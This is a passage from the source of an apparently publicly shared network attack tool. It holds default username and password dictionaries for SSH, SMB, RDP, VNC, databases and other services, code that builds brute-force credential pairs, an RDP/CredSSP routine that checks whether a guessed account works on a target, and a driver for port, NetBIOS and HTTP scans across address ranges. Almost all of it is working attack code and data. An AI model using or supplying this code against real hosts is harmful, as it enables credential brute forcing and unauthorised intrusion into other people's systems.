"{user}!@#123", "qweasdzxc", "{user}2017", 117 | "{user}2016", "{user}2015", "{user}@2017", "{user}@2016", "{user}@2015", "admin123", 118 | "admin888", "administrator", "administrator123", "root123", "123456", "password", 119 | "12345", "1234", "root", "123", "qwerty", "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", 120 | "123qwe", "123qaz", "0000", "oracle", "1234567", "123456qwerty", "password123", 121 | "12345678", "1q2w3e", "abc123", "okmnji", "test123", "123456789", "q1w2e3r4", "user", 122 | "web", "foobared"], 123 | }, 124 | "SMB": { 125 | "user": ["administrator", "admin", "test", "user", "manager", "webadmin", "guest", "db2admin"], 126 | "password": ["{user}", "{user}123", "{user}1234", "{user}123456", "{user}12345", "{user}@123", 127 | "{user}@123456", "{user}@12345", "{user}#123", "{user}#123456", "{user}#12345", 128 | "{user}_123", "{user}_123456", "{user}_12345", "{user}123!@#", "{user}!@#$", "{user}!@#", 129 | "{user}~!@", "{user}!@#123", "qweasdzxc", "{user}2017", "{user}2016", "{user}2015", 130 | "{user}@2017", "{user}@2016", "{user}@2015", "Passw0rd", "admin123!@#", "admin", 131 | "admin123", "admin@123", "admin#123", "123456", "password", "12345", "1234", "root", "123", 132 | "qwerty", "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", "123qwe", "123qaz", "0000", "oracle", 133 | "1234567", "123456qwerty", "password123", "12345678", "1q2w3e", "abc123", "okmnji", 134 | "test123", "123456789", "postgres", "q1w2e3r4", "redhat", "user", "mysql", "apache"], 135 | }, 136 | "SSH": { 137 | "user": ["root", "test", "oracle", "admin", "user", "mysql", "backup", "guest", "system", "web", 138 | "guest", "tomcat", "upload", "sys", "sales", "linux", "ftp", "temp", "user1", "www", 139 | "test1", ], 140 | "password": ["{user}", "{user}123", "{user}1234", "{user}123456", "{user}12345", "{user}@123", 141 | "{user}@123456", "{user}@12345", "{user}#123", "{user}#123456", "{user}#12345", 142 | "{user}_123", "{user}_123456", "{user}_12345", "{user}123!@#", "{user}!@#$", "{user}!@#", 143 | "{user}~!@", "{user}!@#123", "qweasdzxc", "{user}2017", "{user}2016", "{user}2015", 144 | "{user}@2017", "{user}@2016", "{user}@2015", "Passw0rd", "qweasdzxc", "admin123!@#", 145 | "admin", "admin123", "admin@123", "admin#123", "123456", "password", "12345", "1234", 146 | "root", "123", "qwerty", "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", "123qwe", "123qaz", 147 | "0000", "oracle", "1234567", "123456qwerty", "password123", "12345678", "1q2w3e", "abc123", 148 | "okmnji", "test123", "123456789", "postgres", "q1w2e3r4", "redhat", "user", "mysql", 149 | "apache", ""], 150 | }, 151 | "VNC": { 152 | "user": [""], 153 | "password": ["{user}", "{user}123", "{user}1234", "{user}123456", "{user}12345", "{user}@123", 154 | "{user}@123456", "{user}@12345", "{user}#123", "{user}#123456", "{user}#12345", 155 | "{user}_123", "{user}_123456", "{user}_12345", "{user}123!@#", "{user}!@#$", "{user}!@#", 156 | "{user}~!@", "{user}!@#123", "qweasdzxc", "{user}2017", "{user}2016", "{user}2015", 157 | "{user}@2017", "{user}@2016", "{user}@2015", "qweasdzxc", "Passw0rd", "admin123", 158 | "admin888", "administrator", "administrator123", "root123", "123456", "password", "12345", 159 | "1234", "root", "123", "qwerty", "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", "123qwe", 160 | "123qaz", "0000", "oracle", "1234567", "123456qwerty", "password123", "12345678", "1q2w3e", 161 | "abc123", "okmnji", "test123", "123456789", "q1w2e3r4", "qwer1234"], 162 | }, 163 | } 164 | 165 | self.password_dict_empty = { 166 | "FTP": { 167 | "user": [], 168 | "password": [], 169 | }, 170 | "MongoDB": { 171 | "user": [], 172 | "password": [], 173 | }, 174 | "MSSQL": { 175 | "user": [], 176 | "password": [], 177 | }, 178 | "MYSQL": { 179 | "user": [], 180 | "password": [], 181 | }, 182 | "Memcached": { 183 | "user": [], 184 | "password": [], 185 | }, 186 | "PostgreSQL": { 187 | "user": [], 188 | "password": [], 189 | }, 190 | "RDP": { 191 | "user": [], 192 | "password": [], 193 | }, 194 | "Redis": { 195 | "user": [], 196 | "password": [], 197 | }, 198 | "SMB": { 199 | "user": [], 200 | "password": [], 201 | }, 202 | "SSH": { 203 | "user": [], 204 | "password": [], 205 | }, 206 | "VNC": { 207 | "user": [], 208 | "password": [], 209 | }, 210 | } 211 | 212 | self.PostgreSQL_user_passwd_pair_list = [] 213 | self.MongoDB_user_passwd_pair_list = [] 214 | self.FTP_user_passwd_pair_list = [] 215 | self.RDP_user_passwd_pair_list = [] 216 | self.SMB_user_passwd_pair_list = [] 217 | self.MYSQL_user_passwd_pair_list = [] 218 | self.MSSQL_user_passwd_pair_list = [] 219 | self.Redis_user_passwd_pair_list = [] 220 | self.Memcached_user_passwd_pair_list = [] 221 | self.VNC_user_passwd_pair_list = [] 222 | self.SSH_user_passwd_pair_list = [] 223 | 224 | def de_duplication(self, user_passwd_pair_list): 225 | templist = [] 226 | for user_passwd_pair in user_passwd_pair_list: 227 | if user_passwd_pair[0] == "" or user_passwd_pair[0] == None: 228 | continue 229 | if user_passwd_pair not in templist: 230 | templist.append(user_passwd_pair) 231 | return templist 232 | 233 | def de_duplication_by_password(self, user_passwd_pair_list): 234 | """数据去重(针对只需要密码的数据list)""" 235 | templist = [] 236 | for user_passwd_pair in user_passwd_pair_list: 237 | temp = ("", user_passwd_pair[1]) 238 | if temp not in templist: 239 | templist.append(temp) 240 | return templist 241 | 242 | def init(self, default_dict, users, passwords): 243 | 244 | add_users = users 245 | add_passwords = passwords 246 | add_user_passwd_pair_list = [] 247 | for user in add_users: 248 | for password in add_passwords: 249 | add_user_passwd_pair_list.append((user, password.format(user=user))) 250 | 251 | if default_dict: 252 | pass 253 | else: 254 | self.password_dict = self.password_dict_empty 255 | logger.info("------------------------------------") 256 | FTP_user_passwd_pair_list = add_user_passwd_pair_list 257 | data_user = self.password_dict.get("FTP").get("user") 258 | data_password = self.password_dict.get("FTP").get("password") 259 | for user in data_user: 260 | for password in data_password: 261 | FTP_user_passwd_pair_list.append((user, password.format(user=user))) 262 | old_len = len(FTP_user_passwd_pair_list) 263 | self.FTP_user_passwd_pair_list = self.de_duplication(FTP_user_passwd_pair_list) 264 | logger.info( 265 | "FTP_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, 266 | len(self.FTP_user_passwd_pair_list))) 267 | 268 | MongoDB_user_passwd_pair_list = add_user_passwd_pair_list 269 | data_user = self.password_dict.get("MongoDB").get("user") 270 | data_password = self.password_dict.get("MongoDB").get("password") 271 | for user in data_user: 272 | for password in data_password: 273 | MongoDB_user_passwd_pair_list.append((user, password.format(user=user))) 274 | 275 | old_len = len(MongoDB_user_passwd_pair_list) 276 | self.MongoDB_user_passwd_pair_list = self.de_duplication(MongoDB_user_passwd_pair_list) 277 | logger.info( 278 | "MongoDB_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, 279 | len( 280 | self.MongoDB_user_passwd_pair_list))) 281 | 282 | MSSQL_user_passwd_pair_list = add_user_passwd_pair_list 283 | data_user = self.password_dict.get("MSSQL").get("user") 284 | data_password = self.password_dict.get("MSSQL").get("password") 285 | for user in data_user: 286 | for password in data_password: 287 | MSSQL_user_passwd_pair_list.append((user, password.format(user=user))) 288 | 289 | old_len = len(MSSQL_user_passwd_pair_list) 290 | self.MSSQL_user_passwd_pair_list = self.de_duplication(MSSQL_user_passwd_pair_list) 291 | logger.info( 292 | "MSSQL_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, len( 293 | self.MSSQL_user_passwd_pair_list))) 294 | 295 | MYSQL_user_passwd_pair_list = add_user_passwd_pair_list 296 | data_user = self.password_dict.get("MYSQL").get("user") 297 | data_password = self.password_dict.get("MYSQL").get("password") 298 | for user in data_user: 299 | for password in data_password: 300 | MYSQL_user_passwd_pair_list.append((user, password.format(user=user))) 301 | 302 | old_len = len(MYSQL_user_passwd_pair_list) 303 | self.MYSQL_user_passwd_pair_list = self.de_duplication(MYSQL_user_passwd_pair_list) 304 | logger.info( 305 | "MYSQL_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, len( 306 | self.MYSQL_user_passwd_pair_list))) 307 | 308 | Memcached_user_passwd_pair_list = add_user_passwd_pair_list 309 | data_user = self.password_dict.get("Memcached").get("user") 310 | data_password = self.password_dict.get("Memcached").get("password") 311 | for user in data_user: 312 | for password in data_password: 313 | Memcached_user_passwd_pair_list.append((user, password.format(user=user))) 314 | 315 | old_len = len(Memcached_user_passwd_pair_list) 316 | self.Memcached_user_passwd_pair_list = self.de_duplication(Memcached_user_passwd_pair_list) 317 | logger.info("Memcached_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, 318 | len( 319 | self.Memcached_user_passwd_pair_list))) 320 | 321 | PostgreSQL_user_passwd_pair_list = add_user_passwd_pair_list 322 | data_user = self.password_dict.get("PostgreSQL").get("user") 323 | data_password = self.password_dict.get("PostgreSQL").get("password") 324 | for user in data_user: 325 | for password in data_password: 326 | PostgreSQL_user_passwd_pair_list.append((user, password.format(user=user))) 327 | 328 | old_len = len(PostgreSQL_user_passwd_pair_list) 329 | self.PostgreSQL_user_passwd_pair_list = self.de_duplication(PostgreSQL_user_passwd_pair_list) 330 | logger.info("PostgreSQL_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, 331 | len( 332 | self.PostgreSQL_user_passwd_pair_list))) 333 | 334 | RDP_user_passwd_pair_list = add_user_passwd_pair_list 335 | data_user = self.password_dict.get("RDP").get("user") 336 | data_password = self.password_dict.get("RDP").get("password") 337 | for user in data_user: 338 | for password in data_password: 339 | RDP_user_passwd_pair_list.append((user, password.format(user=user))) 340 | 341 | old_len = len(RDP_user_passwd_pair_list) 342 | self.RDP_user_passwd_pair_list = self.de_duplication(RDP_user_passwd_pair_list) 343 | logger.info( 344 | "RDP_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, 345 | len(self.RDP_user_passwd_pair_list))) 346 | 347 | SMB_user_passwd_pair_list = add_user_passwd_pair_list 348 | data_user = self.password_dict.get("SMB").get("user") 349 | data_password = self.password_dict.get("SMB").get("password") 350 | for user in data_user: 351 | for password in data_password: 352 | SMB_user_passwd_pair_list.append((user, password.format(user=user))) 353 | 354 | old_len = len(SMB_user_passwd_pair_list) 355 | self.SMB_user_passwd_pair_list = self.de_duplication(SMB_user_passwd_pair_list) 356 | logger.info( 357 | "SMB_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, 358 | len(self.SMB_user_passwd_pair_list))) 359 | 360 | SSH_user_passwd_pair_list = add_user_passwd_pair_list 361 | data_user = self.password_dict.get("SSH").get("user") 362 | data_password = self.password_dict.get("SSH").get("password") 363 | for user in data_user: 364 | for password in data_password: 365 | SSH_user_passwd_pair_list.append((user, password.format(user=user))) 366 | 367 | old_len = len(SSH_user_passwd_pair_list) 368 | self.SSH_user_passwd_pair_list = self.de_duplication(SSH_user_passwd_pair_list) 369 | logger.info( 370 | "SSH_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, 371 | len(self.SSH_user_passwd_pair_list))) 372 | 373 | Redis_user_passwd_pair_list = add_user_passwd_pair_list 374 | data_user = self.password_dict.get("Redis").get("user") 375 | data_password = self.password_dict.get("Redis").get("password") 376 | for user in data_user: 377 | for password in data_password: 378 | Redis_user_passwd_pair_list.append((user, password.format(user=user))) 379 | 380 | old_len = len(Redis_user_passwd_pair_list) 381 | self.Redis_user_passwd_pair_list = self.de_duplication_by_password(Redis_user_passwd_pair_list) 382 | logger.info( 383 | "Redis_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, len( 384 | self.Redis_user_passwd_pair_list))) 385 | 386 | VNC_user_passwd_pair_list = add_user_passwd_pair_list 387 | data_user = self.password_dict.get("VNC").get("user") 388 | data_password = self.password_dict.get("VNC").get("password") 389 | for user in data_user: 390 | for password in data_password: 391 | VNC_user_passwd_pair_list.append((user, password.format(user=user))) 392 | 393 | old_len = len(VNC_user_passwd_pair_list) 394 | self.VNC_user_passwd_pair_list = self.de_duplication_by_password(VNC_user_passwd_pair_list) 395 | logger.info( 396 | "VNC_user_passwd_pair_list length: {} after de_duplication: {}".format(old_len, 397 | len(self.VNC_user_passwd_pair_list))) 398 | logger.info("------------------------------------") 399 | -------------------------------------------------------------------------------- /bruteforce/rdp_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Author: 9 | # Alberto Solino (@agsolino) 10 | # 11 | # Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation 12 | # just to reach CredSSP auth. This example test whether 13 | # an account is valid on the target host. 14 | # 15 | # ToDo: 16 | # [x] Manage to grab the server's SSL key so we can finalize the whole 17 | # authentication process (check [MS-CSSP] section 3.1.5) 18 | # 19 | 20 | from binascii import a2b_hex 21 | from struct import pack, unpack 22 | 23 | from Cryptodome.Cipher import ARC4 24 | from OpenSSL import SSL, crypto 25 | from gevent import socket 26 | from impacket import ntlm 27 | from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode 28 | from impacket.structure import Structure 29 | 30 | from lib.config import logger 31 | 32 | TDPU_CONNECTION_REQUEST = 0xe0 33 | TPDU_CONNECTION_CONFIRM = 0xd0 34 | TDPU_DATA = 0xf0 35 | TPDU_REJECT = 0x50 36 | TPDU_DATA_ACK = 0x60 37 | 38 | # RDP_NEG_REQ constants 39 | TYPE_RDP_NEG_REQ = 1 40 | PROTOCOL_RDP = 0 41 | PROTOCOL_SSL = 1 42 | PROTOCOL_HYBRID = 2 43 | 44 | # RDP_NEG_RSP constants 45 | TYPE_RDP_NEG_RSP = 2 46 | EXTENDED_CLIENT_DATA_SUPPORTED = 1 47 | DYNVC_GFX_PROTOCOL_SUPPORTED = 2 48 | 49 | # RDP_NEG_FAILURE constants 50 | TYPE_RDP_NEG_FAILURE = 3 51 | SSL_REQUIRED_BY_SERVER = 1 52 | SSL_NOT_ALLOWED_BY_SERVER = 2 53 | SSL_CERT_NOT_ON_SERVER = 3 54 | INCONSISTENT_FLAGS = 4 55 | HYBRID_REQUIRED_BY_SERVER = 5 56 | SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6 57 | 58 | 59 | class TPKT(Structure): 60 | commonHdr = ( 61 | ('Version', 'B=3'), 62 | ('Reserved', 'B=0'), 63 | ('Length', '>H=len(TPDU)+4'), 64 | ('_TPDU', '_-TPDU', 'self["Length"]-4'), 65 | ('TPDU', ':=""'), 66 | ) 67 | 68 | 69 | class TPDU(Structure): 70 | commonHdr = ( 71 | ('LengthIndicator', 'B=len(VariablePart)+1'), 72 | ('Code', 'B=0'), 73 | ('VariablePart', ':=""'), 74 | ) 75 | 76 | def __init__(self, data=None): 77 | Structure.__init__(self, data) 78 | self['VariablePart'] = '' 79 | 80 | 81 | class CR_TPDU(Structure): 82 | commonHdr = ( 83 | ('DST-REF', ' 430 | # 431 | # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 432 | # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth 433 | # field is omitted by the client unless the client is sending the last SPNEGO token. 434 | # If the client is sending the last SPNEGO token, the TSRequest structure MUST have 435 | # both the negoToken and the pubKeyAuth fields filled in. 436 | 437 | # NTLMSSP stuff 438 | auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True) 439 | 440 | ts_request = TSRequest() 441 | ts_request['NegoData'] = auth.getData() 442 | 443 | tls.send(ts_request.getData()) 444 | buff = tls.recv(4096) 445 | ts_request.fromString(buff) 446 | 447 | # 3. The client encrypts the public key it received from the server (contained 448 | # in the X.509 certificate) in the TLS handshake from step 1, by using the 449 | # confidentiality support of SPNEGO. The public key that is encrypted is the 450 | # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 451 | # certificate, as specified in [RFC3280] section 4.1. The encrypted key is 452 | # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over 453 | # the TLS channel to the server. 454 | # 455 | # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 456 | # from the TSRequest structure; the client MUST send its last SPNEGO token to the 457 | # server in the negoTokens field (see step 2) along with the encrypted public key 458 | # in the pubKeyAuth field. 459 | 460 | # Last SPNEGO token calculation 461 | # ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) 462 | type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, 463 | lmhash, nthash, use_ntlmv2=True) 464 | 465 | # Get server public key 466 | server_cert = tls.get_peer_certificate() 467 | pkey = server_cert.get_pubkey() 468 | dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) 469 | 470 | # Fix up due to PyOpenSSL lack for exporting public keys 471 | dump = dump[7:] 472 | dump = b'\x30' + asn1encode(dump) 473 | 474 | cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) 475 | signature, cripted_key = cipher.encrypt(dump) 476 | ts_request['NegoData'] = type3.getData() 477 | ts_request['pubKeyAuth'] = signature.getData() + cripted_key 478 | 479 | try: 480 | # Sending the Type 3 NTLM blob 481 | tls.send(ts_request.getData()) 482 | # The other end is waiting for the pubKeyAuth field, but looks like it's 483 | # not needed to check whether authentication worked. 484 | # If auth is unsuccessful, it throws an exception with the previous send(). 485 | # If auth is successful, the server waits for the pubKeyAuth and doesn't answer 486 | # anything. So, I'm sending garbage so the server returns an error. 487 | # Luckily, it's a different error so we can determine whether or not auth worked ;) 488 | buff = tls.recv(1024) 489 | except Exception as err: 490 | if str(err).find("denied") > 0: 491 | logger.debug("Access Denied") 492 | else: 493 | logger.debug(err) 494 | return False 495 | 496 | # 4. After the server receives the public key in step 3, it first verifies that 497 | # it has the same public key that it used as part of the TLS handshake in step 1. 498 | # The server then adds 1 to the first byte representing the public key (the ASN.1 499 | # structure corresponding to the SubjectPublicKey field, as described in step 3) 500 | # and encrypts the binary result by using the SPNEGO encryption services. 501 | # Due to the addition of 1 to the binary data, and encryption of the data as a binary 502 | # structure, the resulting value may not be valid ASN.1-encoded values. 503 | # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest 504 | # structure and is sent over the encrypted TLS channel to the client. 505 | # The addition of 1 to the first byte of the public key is performed so that the 506 | # client-generated pubKeyAuth message cannot be replayed back to the client by an 507 | # attacker. 508 | # 509 | # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens 510 | # fields are omitted from the TSRequest structure. 511 | 512 | ts_request = TSRequest(buff) 513 | 514 | # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) 515 | signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) 516 | 517 | # 5. After the client successfully verifies server authenticity by performing a 518 | # binary comparison of the data from step 4 to that of the data representing 519 | # the public key from the server's X.509 certificate (as specified in [RFC3280], 520 | # section 4.1), it encrypts the user's credentials (either password or smart card 521 | # PIN) by using the SPNEGO encryption services. The resulting value is 522 | # encapsulated in the authInfo field of the TSRequest structure and sent over 523 | # the encrypted TLS channel to the server. 524 | # The TSCredentials structure within the authInfo field of the TSRequest 525 | # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, 526 | # but MUST NOT contain both. 527 | # 528 | # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens 529 | # fields are omitted from the TSRequest structure. 530 | tsp = TSPasswordCreds() 531 | tsp['domainName'] = domain 532 | tsp['userName'] = username 533 | tsp['password'] = password 534 | tsc = TSCredentials() 535 | tsc['credType'] = 1 # TSPasswordCreds 536 | tsc['credentials'] = tsp.getData() 537 | 538 | signature, cripted_creds = cipher.encrypt(tsc.getData()) 539 | ts_request = TSRequest() 540 | ts_request['authInfo'] = signature.getData() + cripted_creds 541 | tls.send(ts_request.getData()) 542 | tls.close() 543 | logger.debug("Access Granted") 544 | return True 545 | -------------------------------------------------------------------------------- /cthun.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : main.py 3 | # @Date : 2019/9/3 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | import datetime 9 | import json 10 | import os 11 | import sys 12 | import time 13 | from itertools import groupby 14 | 15 | from gevent.pool import Pool 16 | from ipaddr import summarize_address_range, IPv4Network, IPv4Address 17 | 18 | from lib.config import logger, work_path, ipportservicelogfilename, finishlogfile 19 | from portscan.RE_DATA import TOP_1000_PORTS_WITH_ORDER 20 | 21 | 22 | def group_numbers(lst): 23 | templist = [] 24 | fun = lambda x: x[1] - x[0] 25 | for k, g in groupby(enumerate(lst), fun): 26 | l1 = [j for i, j in g] 27 | if len(l1) > 1: 28 | scop = str(min(l1)) + '-' + str(max(l1)) 29 | else: 30 | scop = l1[0] 31 | templist.append(scop) 32 | return templist 33 | 34 | 35 | def get_ipaddresses(raw_lines): 36 | ipaddress_list = [] 37 | for line in raw_lines: 38 | if '-' in line: 39 | try: 40 | startip = line.split("-")[0] 41 | endip = line.split("-")[1] 42 | ipnetwork_list = summarize_address_range(IPv4Address(startip), IPv4Address(endip)) 43 | for ipnetwork in ipnetwork_list: 44 | for ip in ipnetwork: 45 | if ip.compressed not in ipaddress_list: 46 | ipaddress_list.append(ip.compressed) 47 | except Exception as E: 48 | print(E) 49 | else: 50 | try: 51 | ipnetwork = IPv4Network(line) 52 | for ip in ipnetwork: 53 | if ip.compressed not in ipaddress_list: 54 | ipaddress_list.append(ip.compressed) 55 | except Exception as E: 56 | print(E) 57 | 58 | return ipaddress_list 59 | 60 | 61 | def get_one_result(raw_line, proto): 62 | try: 63 | proto_default_port = {'ftp': 21, 'ssh': 22, 'rdp': 3389, 'smb': 445, 'mysql': 3306, 'mssql': 1433, 64 | 'redis': 6379, 'mongodb': 27017, 'memcached': 11211, 65 | 'postgresql': 5432, 'vnc': 5901, "http": 80, "ssl/http": 443, "https": 443} 66 | if len(raw_line.split(":")) < 2: 67 | # 没有填写端口,使用默认端口 68 | port = proto_default_port.get(proto) 69 | else: 70 | port = int(raw_line.split(":")[1]) 71 | line = raw_line.split(":")[0] 72 | except Exception as E: 73 | print(E) 74 | return [] 75 | result = [] 76 | ipaddress_list = [] 77 | if '-' in line: 78 | try: 79 | startip = line.split("-")[0] 80 | endip = line.split("-")[1] 81 | ipnetwork_list = summarize_address_range(IPv4Address(startip), IPv4Address(endip)) 82 | for ipnetwork in ipnetwork_list: 83 | for ip in ipnetwork: 84 | if ip.compressed not in ipaddress_list: 85 | ipaddress_list.append(ip.compressed) 86 | except Exception as E: 87 | print(E) 88 | else: 89 | try: 90 | ipnetwork = IPv4Network(line) 91 | for ip in ipnetwork: 92 | if ip.compressed not in ipaddress_list: 93 | ipaddress_list.append(ip.compressed) 94 | except Exception as E: 95 | # 输入可能是网址 96 | ipaddress_list.append(line) 97 | print(E) 98 | 99 | for ip in ipaddress_list: 100 | result.append({"ipaddress": ip, "port": port, "service": proto}) 101 | return result 102 | 103 | 104 | def write_finish_flag(): 105 | logfilepath = os.path.join(os.path.dirname(os.path.realpath(sys.argv[0])), finishlogfile) 106 | with open(logfilepath, 'wb+') as f: 107 | f.write(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')) 108 | 109 | 110 | if __name__ == '__main__': 111 | # 获取时间戳 112 | logger.info("----------------- Progrem Start ---------------------") 113 | try: 114 | paramsfile = "param.json" 115 | paramsfilepath = os.path.join(work_path, paramsfile) 116 | with open(paramsfilepath) as f: 117 | params = json.load(f) 118 | except Exception as E: 119 | logger.error("Can not find {0}".format(paramsfile)) 120 | sys.exit(1) 121 | 122 | # 处理debug标签 123 | debug_flag = params.get("debug") 124 | if debug_flag is True: 125 | fullname = "debug.log" 126 | sys.stderr = open(fullname, "w+") 127 | else: 128 | sys.stderr = None 129 | 130 | # 处理最大连接数 131 | max_socket_count = params.get("maxsocket") 132 | if max_socket_count <= 100: 133 | max_socket_count = 100 134 | elif max_socket_count >= 1000: 135 | top_ports_count = 1000 136 | 137 | # 处理socket超时时间 138 | timeout = params.get("sockettimeout") 139 | 140 | if timeout <= 0.1: 141 | timeout = 0.1 142 | elif timeout >= 3: 143 | timeout = 3 144 | 145 | # 公共变量 146 | pool = Pool(max_socket_count) 147 | portScan_result_list = [] 148 | 149 | # 加载历史记录 150 | load_from_history = params.get("loadfromhistory") 151 | if load_from_history is True: 152 | # 读取文件中保存的ip地址,端口,服务 153 | filepath = os.path.join(work_path, ipportservicelogfilename) 154 | try: 155 | with open(filepath, "rb") as f: 156 | file_lines = f.readlines() 157 | for line in file_lines: 158 | ip = line.strip().split(",")[0] 159 | port = line.strip().split(",")[1] 160 | proto = line.strip().split(",")[2] 161 | try: 162 | one_record = {"ipaddress": ip, "port": port, "service": proto} 163 | if one_record not in portScan_result_list: 164 | portScan_result_list.append({"ipaddress": ip, "port": port, "service": proto}) 165 | except Exception as E: 166 | pass 167 | except Exception as E: 168 | pass 169 | 170 | # 端口扫描参数 171 | if params.get("portscan"): 172 | portscan = params.get("portscan").get("run") 173 | if portscan is True: 174 | ip_list = [] 175 | try: 176 | raw_ips = params.get("portscan").get("ipaddress") 177 | if raw_ips == [] or raw_ips is None: 178 | ip_list = [] 179 | else: 180 | ip_list = get_ipaddresses(raw_ips) 181 | except Exception as E: 182 | pass 183 | if len(ip_list) <= 0: 184 | logger.warn("Can not get portscan ipaddress from param.json.") 185 | portscan = False 186 | 187 | if portscan: 188 | showports = "" 189 | top_ports_count = params.get("portscan").get("topports") 190 | if top_ports_count <= 0: 191 | top_ports_count = 0 192 | elif top_ports_count >= 1000: 193 | top_ports_count = 1000 194 | 195 | port_list = [] 196 | ports_str = params.get("portscan").get("ports") 197 | 198 | if params.get("portscan").get("ports") == [] or params.get("portscan").get("ports") is None: 199 | ports_str = [] 200 | else: 201 | ports_str = params.get("portscan").get("ports") 202 | 203 | for one in ports_str: 204 | try: 205 | if isinstance(one, int): 206 | if one not in port_list and (0 < one <= 65535): 207 | port_list.append(one) 208 | elif len(one.split("-")) == 2: 209 | start_port = int(one.split("-")[0]) 210 | end_port = int(one.split("-")[1]) 211 | for i in range(start_port, end_port + 1): 212 | if i not in port_list and (0 < i <= 65535): 213 | port_list.append(i) 214 | else: 215 | i = int(one) 216 | if i not in port_list and (0 < i <= 65535): 217 | port_list.append(i) 218 | except Exception as E: 219 | pass 220 | 221 | top_port_list = TOP_1000_PORTS_WITH_ORDER[0:top_ports_count] 222 | for i in port_list: 223 | if i not in top_port_list: 224 | top_port_list.append(i) 225 | if len(top_port_list) <= 0: 226 | logger.warn("Can not get portscan ports param.json.") 227 | portscan = False 228 | else: 229 | showports = group_numbers(top_port_list) 230 | 231 | if portscan: 232 | # 处理retry参数 233 | retry = params.get("portscan").get("retry") 234 | if retry <= 1: 235 | retry = 1 236 | elif retry >= 3: 237 | retry = 3 238 | 239 | if timeout <= 0.1: 240 | timeout = 0.1 241 | elif timeout >= 3: 242 | timeout = 3 243 | 244 | logger.info("----------------- PortScan Start --------------------") 245 | logger.info( 246 | "IP list: {}\tIP count: {}\tSocketTimeout: {}\tMaxsocket: {}\tPorts: {}".format(raw_ips, 247 | len(ip_list), 248 | timeout, 249 | max_socket_count, 250 | showports)) 251 | t1 = time.time() 252 | 253 | from portscan.portScan import GeventScanner 254 | 255 | geventScanner = GeventScanner(max_socket_count=max_socket_count, timeout=timeout, retry=retry) 256 | portScan_result_list = geventScanner.aysnc_main(ip_list, top_port_list, pool) 257 | t2 = time.time() 258 | logger.info("PortScan finish,time use : {}s".format(t2 - t1)) 259 | logger.info("----------------- PortScan Finish --------------------") 260 | 261 | # netbios扫描 262 | if params.get("netbiosscan"): 263 | netbios_scan = params.get("netbiosscan").get("run") 264 | if netbios_scan is True: 265 | 266 | ip_list = [] 267 | try: 268 | raw_ips = params.get("netbiosscan").get("ipaddress") 269 | if raw_ips == [] or raw_ips is None: 270 | ip_list = [] 271 | else: 272 | ip_list = get_ipaddresses(raw_ips) 273 | except Exception as E: 274 | pass 275 | 276 | if len(ip_list) <= 0: 277 | logger.warn("Can not get ipaddress from param.json.") 278 | netbios_scan = False 279 | else: 280 | logger.info("----------------- Netbios Scan Start ----------------------") 281 | logger.info( 282 | "IP list: {}\tIP count: {}\tSocketTimeout: {}\tMaxsocket: {}".format(raw_ips, 283 | len(ip_list), 284 | timeout, 285 | max_socket_count, 286 | )) 287 | t3 = time.time() 288 | 289 | from netbios.netbios import netbios_interface 290 | 291 | netbios_interface(ip_list, timeout, pool) 292 | t4 = time.time() 293 | logger.info("Netbios Scan finish,time use : {} s".format(t4 - t3)) 294 | logger.info("----------------- Netbios Scan Finish ---------------------") 295 | 296 | # http扫描 297 | if params.get("httpscan"): 298 | http_scan = params.get("httpscan").get("run") 299 | if http_scan is True: 300 | 301 | raw_lines = params.get("httpscan").get("http") 302 | if raw_lines == [] or raw_lines is None: 303 | lines = [] 304 | else: 305 | lines = params.get("httpscan").get("http") 306 | for line in lines: 307 | manly_input_result = get_one_result(line.strip(), "http") 308 | portScan_result_list.extend(manly_input_result) 309 | 310 | raw_lines = params.get("httpscan").get("https") 311 | if raw_lines == [] or raw_lines is None: 312 | lines = [] 313 | else: 314 | lines = params.get("httpscan").get("https") 315 | for line in lines: 316 | manly_input_result = get_one_result(line.strip(), "https") 317 | portScan_result_list.extend(manly_input_result) 318 | 319 | raw_lines = params.get("httpscan").get("flagurl") 320 | if raw_lines == [] or raw_lines is None: 321 | flagurl = [] 322 | else: 323 | flagurl = params.get("httpscan").get("flagurl") 324 | 325 | logger.info("----------------- HttpCheck Start ----------------------") 326 | 